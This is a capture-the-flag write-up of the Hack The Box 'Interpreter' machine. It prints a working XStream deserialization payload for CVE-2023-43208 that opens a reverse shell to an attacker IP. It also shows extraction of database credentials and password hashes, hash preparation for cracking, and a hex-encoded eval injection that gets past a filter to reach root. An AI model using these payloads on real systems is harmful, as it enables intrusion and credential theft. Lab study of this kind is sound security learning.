HTB-Season10-Interpreter

OS: Linux | Difficulty: Medium

Pasted image 20260509002447.png700

In this write-up, we will walk through the exploitation path for the HTB Interpreter machine. This box highlights the dangers of outdated Java dependencies and improper input sanitization in internal APIs.

Like always, we'll kick things off with a basic Nmap scan to see what we're working with:

Pasted image 20260223074316.png700

Open ports: 22 (SSH), 80 (HTTP), 443 (HTTPS/API)

When we open the website in a browser, we are greeted by a Mirth Connect server webpage:

Pasted image 20260223075229.png700

Initial Foothold: CVE-2023-43208

I did some research and found that Mirth Connect servers—particularly those running version 4.4.0—are affected by CVE-2023-43208. I needed to verify the exact version running on the target, which can be done by querying the API:

curl -k -H "X-Requested-With: OpenAPI" https://<machine-ip>:443/api/server/version

Pasted image 20260223080524.png700

With the version confirmed, let's look at what this CVE actually does.

CVE-2023-43208 is an unauthenticated Remote Code Execution (RCE) vulnerability stemming from insecure Java Object Deserialization in the XStream library. Mirth Connect 4.4.0 uses XStream to process incoming XML requests. The problem is that XStream doesn't just read data; it attempts to reconstruct (deserialize) Java objects directly from that XML.

Because the server lacks proper sanitization, we can hand it a specially crafted XML structure that tricks Java into running a system command. Here is the payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>sh</string>
          <string>-c</string>
          <string>bash -i >&amp; /dev/tcp/10.10.14.121/4444 0>&amp;1</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

Notice how we aren't sending a normal configuration file. Instead, we pass a <dynamic-proxy> block pointing directly to java.lang.ProcessBuilder (Java's built-in way to execute terminal commands). The moment XStream reconstructs the EventHandler, it triggers the start action on our ProcessBuilder, executing our reverse shell before authentication even occurs.

To automate this, I used the following exploit repository: CVE-2023-43208-EXPLOIT

Pasted image 20260223083018.png700

Lateral Movement: Database to Sedric

I caught the reverse shell and tried to read the user flag in Sedric's folder, but got hit with ACCESS DENIED. We needed SSH credentials. After snooping around the filesystem, I found some interesting configuration files:

Pasted image 20260223083322.png700 Pasted image 20260223083532.png700

Inside mirth.properties, I found credentials for the MySQL database. I logged in using mysql -u mirthdb -p MirthPass123!:

Pasted image 20260223083825.png700

Using standard enumeration, I hunted down the password hashes:

show DATABASES;
use mc_bdd_prod;
show TABLES;
select * FROM PERSON;
select * FROM PERSON_PASSWORD;

Pasted image 20260223085606.png700 Pasted image 20260223085627.png700

We found a password hash for the user Sedric. Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256, which can be tough to crack but definitely not impossible.

To prep the hash for cracking, I used a Python script to decode the Base64 string, split the salt and the derived key, and format it specifically for Hashcat's Mode 10900:

import base64

db_hash = "u/+LBB**********************************/kL+w=="
raw_bytes = base64.b64decode(db_hash)

# Split the bytes (8 bytes salt, 32 bytes derived key)
salt = raw_bytes[:8]
derived_key = raw_bytes[8:]

# Re-encode to Base64 for Hashcat
salt_b64 = base64.b64encode(salt).decode('utf-8')
key_b64 = base64.b64encode(derived_key).decode('utf-8')

# Format for Hashcat Mode 10900
hashcat_format = f"sha256:600000:{salt_b64}:{key_b64}"

print("\n[+] Save this exact line into a file named hash.txt:")
print(hashcat_format)

Pasted image 20260223090204.png700

I fed the output into Hashcat:

hashcat -m 10900 hash.txt /usr/share/wordlist/rockyou.txt

Pasted image 20260223090226.png700

Success! With Sedric's decrypted password, we can SSH into the machine and claim the user flag.

Pasted image 20260223090612.png700

Privilege Escalation: Root via SSTI

Running linpeas revealed some interesting file permissions that caught my eye:

Pasted image 20260223090749.png700 Pasted image 20260223090835.png700

We found our path to root in a Python script handling templates:

template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
    return eval(f"f'''{template}'''")
except Exception as e:
    return f"[EVAL_ERROR] {e}"

The server takes user input and wraps it in an f-string, which is then evaluated using eval(). This is a classic Server-Side Template Injection (SSTI) vulnerability. For example, injecting {{7*7}} would output 49.

However, we can't just inject cat /etc/passwd because of this strict regex filter:

pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

The server rejects special characters like spaces and slashes. How do we bypass it? By encoding our payload into hex, because alphanumeric characters are whitelisted.

For example, to run the id command (hex 6964), we format it like this:

__import__('os').system(bytes.fromhex('6964').decode())

Because the script runs with root permissions, triggering a reverse shell payload this way grants us root access. To streamline the attack, I used this exploit repository: SSTI-RCE-Exploit-Interpreter-HTB

Pasted image 20260223091919.png700 Pasted image 20260223091928.png700

The Unintended Shortcut

There is actually a secondary method for solving this box. I don't personally recommend skipping steps—since these machines are about learning the full methodology—but it's worth showing that multiple paths exist.

Pasted image 20260223092121.png700 Pasted image 20260223092127.png700

Return to Home